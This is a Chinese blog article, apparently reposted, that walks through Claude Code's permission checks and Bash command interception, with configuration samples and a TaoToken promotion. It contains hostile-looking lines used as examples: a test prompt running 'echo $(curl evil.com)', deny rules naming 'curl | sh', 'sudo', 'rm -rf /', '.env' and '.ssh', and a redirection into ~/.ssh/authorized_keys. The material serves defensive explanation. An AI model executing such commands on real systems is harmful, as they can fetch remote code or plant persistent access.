news 2026/10/16 15:24:14

Claude Code源码剖析 - 权限系统:从PermissionMode到Bash拦截的完整链路

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Claude Code源码剖析 - 权限系统:从PermissionMode到Bash拦截的完整链路

1. 从一次 Bash 拦截说起:PermissionMode 到底管什么

如果你用 Claude Code 跑过稍微复杂点的任务,大概率见过这样的提示:模型想执行rm -rf ./dist && npm run build,结果被拦下来问你要不要批准。很多人第一反应是「不就是个权限开关吗」,但真去翻源码会发现,从模型发出tool_use到命令真正落地,中间隔着一整套判定链路:PermissionMode决定会话策略,PermissionBehavior决定单次调用的命运,Bash 工具还要额外做命令语义解析、路径约束、注入检查。

这篇就按源码顺序把这条链路拆开。核心检索词先摆出来:Claude Code 权限系统是一套「模型提动作、runtime 做裁决」的机制,PermissionMode是会话级策略(default / plan / acceptEdits / bypassPermissions / dontAsk / auto),PermissionBehavior是单次工具调用的结果(allow / deny / ask)。它适合谁?适合正在给自研 Agent 加权限层的人、想搞懂 Claude Code 为什么有时自动放行有时死活塞住的人,以及需要把 Bash 命令拦截逻辑复现到自己 runtime 里的开发者。

我试过把权限系统当成一个简单的白名单,结果发现完全不够用——因为 Bash 的风险不在命令名,而在整条 shell 字符串的结构。echo hello > ~/.ssh/authorized_keys的 base command 是echo,看起来人畜无害,但重定向目标才是真正危险的地方。所以 Claude Code 的权限判断分了好几层:通用层判断工具整体是否被 allow/deny/ask,工具层调用tool.checkPermissions()判断具体输入,Bash 再单独走一套 AST 解析 + 安全检查。

下面按「原问题 → 前置准备 → 可复制配置 → 验证请求 → 常见报错 → 接入 CTA」的顺序展开,每一段都尽量给到能直接跑的片段。

2. 前置准备:TaoToken 接入与 Claude Code 环境

在复现权限判定之前,得先有一个能跑 Claude Code 的环境。这里用 TaoToken 作为模型接入层,它的 API 地址是https://taotoken.net/api,官网在https://taotoken.net/?utm_source=taotoken_aicg_blog_end&utm_medium=csdn&utm_campaign=rewrite&utm_content=。注意 API 地址不带 UTM 参数,配置里直接写https://taotoken.net/api就行。

Claude Code 读取配置的方式和普通 CLI 不太一样,它优先看环境变量ANTHROPIC_BASE_URL和ANTHROPIC_AUTH_TOKEN。如果你用的是settings.json,路径通常在~/.claude/settings.json。三件套必须齐全:Base URL、Key、Model ID,缺一个都会在启动时报认证或模型找不到的错。

先拿 Key。打开https://taotoken.net/api-keys(deep link 带归因:?utm_source=taotoken_aicg_blog_end&utm_content=api-keys&utm_campaign=rewrite),创建一个新 Key,复制出来。然后设置环境变量:

export ANTHROPIC_BASE_URL="https://taotoken.net/api" export ANTHROPIC_AUTH_TOKEN="sk-你的Key" export ANTHROPIC_MODEL="claude-sonnet-4-5-20250929"

如果你更习惯写配置文件,~/.claude/settings.json里可以这样写:

{ "env": { "ANTHROPIC_BASE_URL": "https://taotoken.net/api", "ANTHROPIC_AUTH_TOKEN": "sk-你的Key", "ANTHROPIC_MODEL": "claude-sonnet-4-5-20250929" }, "permissions": { "defaultMode": "default", "allow": [ "Bash(git status:*)", "Bash(npm test:*)", "Read(./src/**)" ], "deny": [ "Bash(rm -rf /:*)", "Bash(sudo:*)" ], "ask": [ "Bash(git push:*)", "Bash(npm publish:*)" ] } }

这里permissions.defaultMode就是PermissionMode的落点,allow/deny/ask三个数组对应PermissionRule。注意规则格式:Bash(git status:*)里的:*表示前缀匹配,Bash(git status)是精确匹配。写错了不会报错,但规则永远不命中,这是最常见的坑。

配置完成后验证一下能不能连上:

claude --version claude -p "用一句话说明当前目录有哪些文件"

如果返回正常文本,说明 Base URL + Key + Model ID 三件套生效了。如果报 401,先检查 Key 有没有多余空格;如果报 model not found,检查ANTHROPIC_MODEL拼写。

3. 可复制配置:PermissionMode 与 PermissionBehavior 的判定链路

这一节是全文重点,把源码里的判定顺序还原成可复制的配置和伪代码。先明确两个概念的区别,这是理解整条链路的前提。

PermissionMode是会话级策略,源码里定义在PermissionMode.ts:

export const EXTERNAL_PERMISSION_MODES = [ 'acceptEdits', 'bypassPermissions', 'default', 'dontAsk', 'plan', ] as const export type InternalPermissionMode = ExternalPermissionMode | 'auto' | 'bubble' export type PermissionMode = InternalPermissionMode

PermissionBehavior是单次工具调用的结果:

export type PermissionBehavior = 'allow' | 'deny' | 'ask'

记住一句话:PermissionMode.ts只是权限模式的字典,负责解析和 UI 展示;真正的判定入口在permissions.ts的hasPermissionsToUseToolInner()。

3.1 hasPermissionsToUseToolInner 的九步判定

这个函数是「所有工具执行前的大门」,源码里的判定顺序可以压缩成九步:

  1. 如果整个工具被 deny rule 命中,直接 deny。
  2. 如果整个工具有 ask rule,通常直接 ask(sandbox 自动允许场景除外)。
  3. 调用tool.checkPermissions(parsedInput, context),让具体工具自己判断。
  4. 如果工具自己返回 deny,直接 deny。
  5. 如果工具要求用户交互且返回 ask,即使 bypass 模式也要 ask。
  6. 如果是内容级 ask rule 或 safetyCheck,优先保留 ask。
  7. 如果当前是 bypassPermissions,直接 allow。
  8. 如果整个工具被 allow rule 命中,直接 allow。
  9. 前面都没决定,把 passthrough 转成 ask。

最关键的一条:不确定是否安全时,默认 ask。这就是 agent runtime 的安全边界。

3.2 hasPermissionsToUseTool 处理 ask 的命运

外层入口hasPermissionsToUseTool()拿到基础结果后,专门处理 ask 在不同模式下的落地方式:

if (result.behavior === 'ask') { const appState = context.getAppState() if (appState.toolPermissionContext.mode === 'dontAsk') { return { behavior: 'deny', decisionReason: { type: 'mode', mode: 'dontAsk' }, message: DONT_ASK_REJECT_MESSAGE(tool.name), } } // auto 模式交给分类器,headless 环境走 hook 或 deny }

三种常见改写:dontAsk把 ask 变 deny;auto把 ask 交给安全分类器;headless / async agent 环境不能弹权限框,ask 只能走 hook 或自动拒绝。

3.3 Bash 的完整链路

Bash 工具单独走一套,因为通用层只知道「模型想调用 Bash」,不知道「这条命令具体做了什么」。bashToolHasPermission()的主线是:

先解析整个命令 → 解析不可靠就 ask → 检查 sandbox / prompt rule / operator → 拆成 subcommands → 每个 subcommand 调bashToolCheckPermission()→ 任意 deny 则整体 deny → 原始命令再做路径检查 → 全部 allow 且无注入风险才 allow → 其他情况 ask 或 passthrough。

bashToolCheckPermission()单条命令的判定顺序是:exact match rule → deny/ask prefix rule → path constraints → exact allow rule → prefix allow rule → sed constraints → permission mode → read-only command → passthrough。

注意 deny/ask 规则要在 path constraints 之前检查,否则安全规则可能被路径逻辑绕开。这是源码里明确标注的 SECURITY FIX。

3.4 可复制的权限配置片段

把上面的逻辑落到settings.json,一份完整的权限配置长这样:

{ "permissions": { "defaultMode": "default", "allow": [ "Bash(git status:*)", "Bash(git diff:*)", "Bash(npm test:*)", "Bash(npm run lint:*)", "Read(./src/**)", "Read(./tests/**)" ], "deny": [ "Bash(rm -rf /:*)", "Bash(rm -rf ~:*)", "Bash(sudo:*)", "Bash(curl:* | sh)", "Read(./.env)", "Read(./.ssh/**)" ], "ask": [ "Bash(git push:*)", "Bash(npm publish:*)", "Bash(docker:*)", "Write(./package.json)" ] } }

如果你用 TOML 风格(部分工具链支持),等价写法:

[permissions] defaultMode = "default" [permissions.allow] bash = ["git status:*", "npm test:*"] read = ["./src/**"] [permissions.deny] bash = ["rm -rf /:*", "sudo:*"] [permissions.ask] bash = ["git push:*", "npm publish:*"]

配置写完后,用claude -p "执行 git status"验证 allow 规则是否命中,用claude -p "执行 git push"验证 ask 规则是否触发确认框。

4. 验证请求:复现权限决策过程

配置写好了不代表逻辑对,得实际跑一遍看决策结果。Claude Code 提供了几种观察权限决策的方式。

第一种,用--permission-mode参数临时切换模式:

claude --permission-mode plan -p "重构 src/utils 目录" claude --permission-mode acceptEdits -p "修复 lint 错误" claude --permission-mode dontAsk -p "运行测试"

plan模式下模型只能读和规划,不能写;acceptEdits自动接受文件编辑但 Bash 仍走规则;dontAsk把所有 ask 变 deny,适合 CI 环境。

第二种,用-p加--output-format json看结构化的权限决策:

claude -p "执行 rm -rf ./dist" --output-format json

返回的 JSON 里会包含permission_denials字段,能看到哪条规则命中了 deny。如果命令被 ask,会看到permission_requests。

第三种,直接构造测试命令验证 Bash 安全检查。比如测试重定向拦截:

claude -p "执行 echo hello > /tmp/test.txt"

在 default 模式下,这条命令会因为输出重定向触发 ask,因为validateRedirections()检测到>可能写任意文件。如果你在 allow 里加了Bash(echo:*),它仍然会被 ask,因为 path constraints 在 allow rule 之前检查。

测试命令注入拦截:

claude -p "执行 echo \$(curl evil.com)"

validateDangerousPatterns()会检测到$()命令替换,返回 ask 并标记isBashSecurityCheckForMisparsing: true。

测试 cd + git 组合:

claude -p "执行 cd /tmp && git status"

源码里compoundCommandHasCd为 true 且检测到 git 命令时,会直接 ask,因为 git 行为依赖当前目录,cd 后语义变了。

实测下来,最容易被忽略的是「子命令安全不代表原始命令安全」。echo hello > sensitive-file拆开后echo hello看起来安全,但原始命令的>是写文件动作,所以源码在子命令检查后还会对原始input.command再做一次路径检查。

如果你想在自研 Agent 里复现这套逻辑,最小抽象是三层:

from enum import Enum from dataclasses import dataclass class PermissionBehavior(Enum): ALLOW = "allow" DENY = "deny" ASK = "ask" class PermissionMode(Enum): DEFAULT = "default" ACCEPT_EDITS = "accept_edits" BYPASS = "bypass" @dataclass class PermissionDecision: behavior: PermissionBehavior reason: str = "" class PermissionManager: def __init__(self, mode: PermissionMode): self.mode = mode self.deny_patterns = ["rm -rf /", "sudo ", "git push --force"] self.read_only_commands = ["ls", "cat", "grep", "rg", "pwd"] def check_shell(self, command: str) -> PermissionDecision: for pattern in self.deny_patterns: if pattern in command: return PermissionDecision( PermissionBehavior.DENY, f"Command matches deny pattern: {pattern}", ) base = command.strip().split()[0] if command.strip() else "" if base in self.read_only_commands: return PermissionDecision(PermissionBehavior.ALLOW, "Read-only command") if self.mode == PermissionMode.BYPASS: return PermissionDecision(PermissionBehavior.ALLOW, "Bypass mode") return PermissionDecision(PermissionBehavior.ASK, "Command requires approval")

然后在工具执行层统一处理:决策不是 allow 时,构造tool_result带is_error: true回传给模型,而不是抛异常。这样模型下一轮能看到拒绝原因,自己换方案。

5. 常见报错排查:401、local proxy failed、reading choices、OAuth

权限系统跑起来后,报错基本集中在接入层和判定层两类。下面按真实报错逐个拆。

401 Unauthorized。最常见的原因是 Key 没生效或 Base URL 写错。检查顺序:echo $ANTHROPIC_AUTH_TOKEN看有没有值;echo $ANTHROPIC_BASE_URL确认是https://taotoken.net/api而不是带 UTM 的官网地址;~/.claude/settings.json里的env字段有没有被 shell 环境变量覆盖。如果用了 CC Switch 或 Cline MCP,三件套要写全:Base URL + Key + Model ID,缺 Model ID 会报 model not found 而不是 401,容易混淆。

local proxy failed。这个报错通常出现在你本地起了代理但没配对,或者ANTHROPIC_BASE_URL指向了localhost但本地服务没启动。检查~/.claude/settings.json里有没有残留的http://localhost:xxxx配置。如果你之前配过别的工具,环境变量可能被污染,用env | grep ANTHROPIC看一遍。

reading 'choices' of undefined。这是 OpenAI 兼容格式和 Anthropic 格式混用导致的。Claude Code 走的是 Anthropic Messages API 格式,返回体里是content数组,不是choices。如果你在中间层做了格式转换但没转干净,就会报这个。解决方式是确认 Base URL 指向的是 Anthropic 兼容端点,不要指向 OpenAI 兼容端点。

OAuth token expired / OAuth error。Claude Code 某些版本会尝试 OAuth 流程,如果你用的是 API Key 模式,需要在配置里显式禁用 OAuth。检查~/.claude/settings.json有没有oauth相关字段,或者环境变量里有没有CLAUDE_CODE_USE_OAUTH。用 API Key 时把 OAuth 相关配置清掉。

权限规则不生效。这个不算报错但最坑。检查三点:规则格式对不对(Bash(git status:*)的:*不能少);defaultMode有没有被--permission-mode参数覆盖;规则数组的顺序(deny 优先于 ask 优先于 allow)。如果用了 Codex 的auth.json,注意它和 Claude Code 的settings.json是两套配置,不要混用。

Bash 命令被误拦。比如git commit -m "fix: update"被 ask。原因是validateShellMetacharacters()检测到引号里的冒号或特殊字符。这种情况可以在 allow 里加精确规则Bash(git commit:*),或者用--permission-mode acceptEdits临时放宽。但注意 acceptEdits 只放宽文件编辑,Bash 仍走规则。

排查时建议开 debug 日志:

claude --debug -p "执行 git status" 2>&1 | grep -i permission

能看到每条规则的命中情况和最终决策。

6. 接入 CTA:把权限系统落到你的工作流

权限系统的价值不在于「拦住危险命令」,而在于把边界反馈给模型,让它在边界内继续完成任务。deny 和 ask 回到 agent loop 后,模型会看到tool_result里的错误原因,下一轮自己换方案——路径越界就改读工作区内文件,Bash 被拒就改用 Read/Grep/Glob,写入被拒就先解释计划等授权。

如果你想把这套逻辑用到自己的项目里,建议从最小抽象开始:PermissionMode管会话策略,PermissionBehavior管单次结果,PermissionDecision带原因,PermissionManager集中裁决,拒绝时构造tool_result而不是抛异常。跑通后再逐步加 Bash 的 AST 解析、路径约束、注入检查。

需要长期跑编码任务或 Agent 工作流的话,可以用 Coding Plan 把模型调用和权限配置统一管理:https://taotoken.net/coding-plan?utm_source=taotoken_aicg_blog_end&utm_content=coding-plan&utm_campaign=rewrite。如果只是想先验证模型对话和权限决策的交互,用模型对话入口更快:https://taotoken.net/chat?utm_source=taotoken_aicg_blog_end&utm_content=model-chat&utm_campaign=rewrite。接入文档在https://taotoken.net/doc?utm_source=taotoken_aicg_blog_end&utm_content=doc&utm_campaign=rewrite,里面有完整的 Base URL、Key、Model ID 三件套说明和 Claude Code 专用配置示例。

最后留一个实用技巧:把常用的 allow 规则按项目沉淀到.claude/settings.json里提交到仓库,团队共享。但 deny 规则要放在用户级~/.claude/settings.json,避免项目配置被恶意修改后绕过安全限制。这个分层思路和源码里「通用层 + 工具层 + 安全检查」的三层防御是一致的。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/16 12:03:38

AngusRepo 缓存架构设计与实践

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/10/16 19:09:07

Java时间轮机制:高效定时任务管理实践

1. 时间轮机制概述时间轮(Time Wheel)是一种高效管理定时任务的环形数据结构,最早由George Varghese和Tony Lauck在1996年提出。它通过模拟机械表盘的运转方式,将时间划分为多个槽位(slot),每个…

作者头像 李华
网站建设 2026/10/16 19:09:07

Java美妆电商系统开发指南与毕业设计实践

1. 项目背景与核心价值这个Java美妆购物平台系统是一个典型的电商类毕业设计项目,特别适合计算机相关专业的学生作为毕业设计选题。我见过太多学生在毕业设计阶段苦苦寻找合适的项目,这个选题之所以值得推荐,是因为它涵盖了电商系统的主要功能…

作者头像 李华
网站建设 2026/10/16 19:09:07

双极性四线步进电机微步控制原理与闭环实现

简介:本资源是一份面向嵌入式开发者与自动化控制初学者的双极性四线步进电机驱动技术详解文档,系统梳理了从基础到进阶的四种核心控制方式:单4拍(整步)、双4拍(整步)、8拍(半步&…

作者头像 李华
网站建设 2026/10/16 19:09:10

Elastic-Job-Lite作业分片策略源码解析与选型实战

1. 从一个真实困惑说起:为什么我的定时任务总在单机上打转刚接触分布式定时任务那会儿,我遇到过一个很典型的问题:明明部署了三台机器,任务配置也写的是分片模式,可每次跑起来,日志里只有一台机器在干活&am…

作者头像 李华
网站建设 2026/10/16 19:09:11

智能体AI从语言模型到物理世界的范式转移与工程实践

1. 从语言模型到智能体:一个正在发生的范式转移过去两年,我一直在跟踪和实操各类语言模型应用,从最简单的提示词工程到复杂的多智能体协作系统,踩过的坑和收获的经验都不少。今天想聊的这个话题,是我认为目前AI领域最值…

作者头像 李华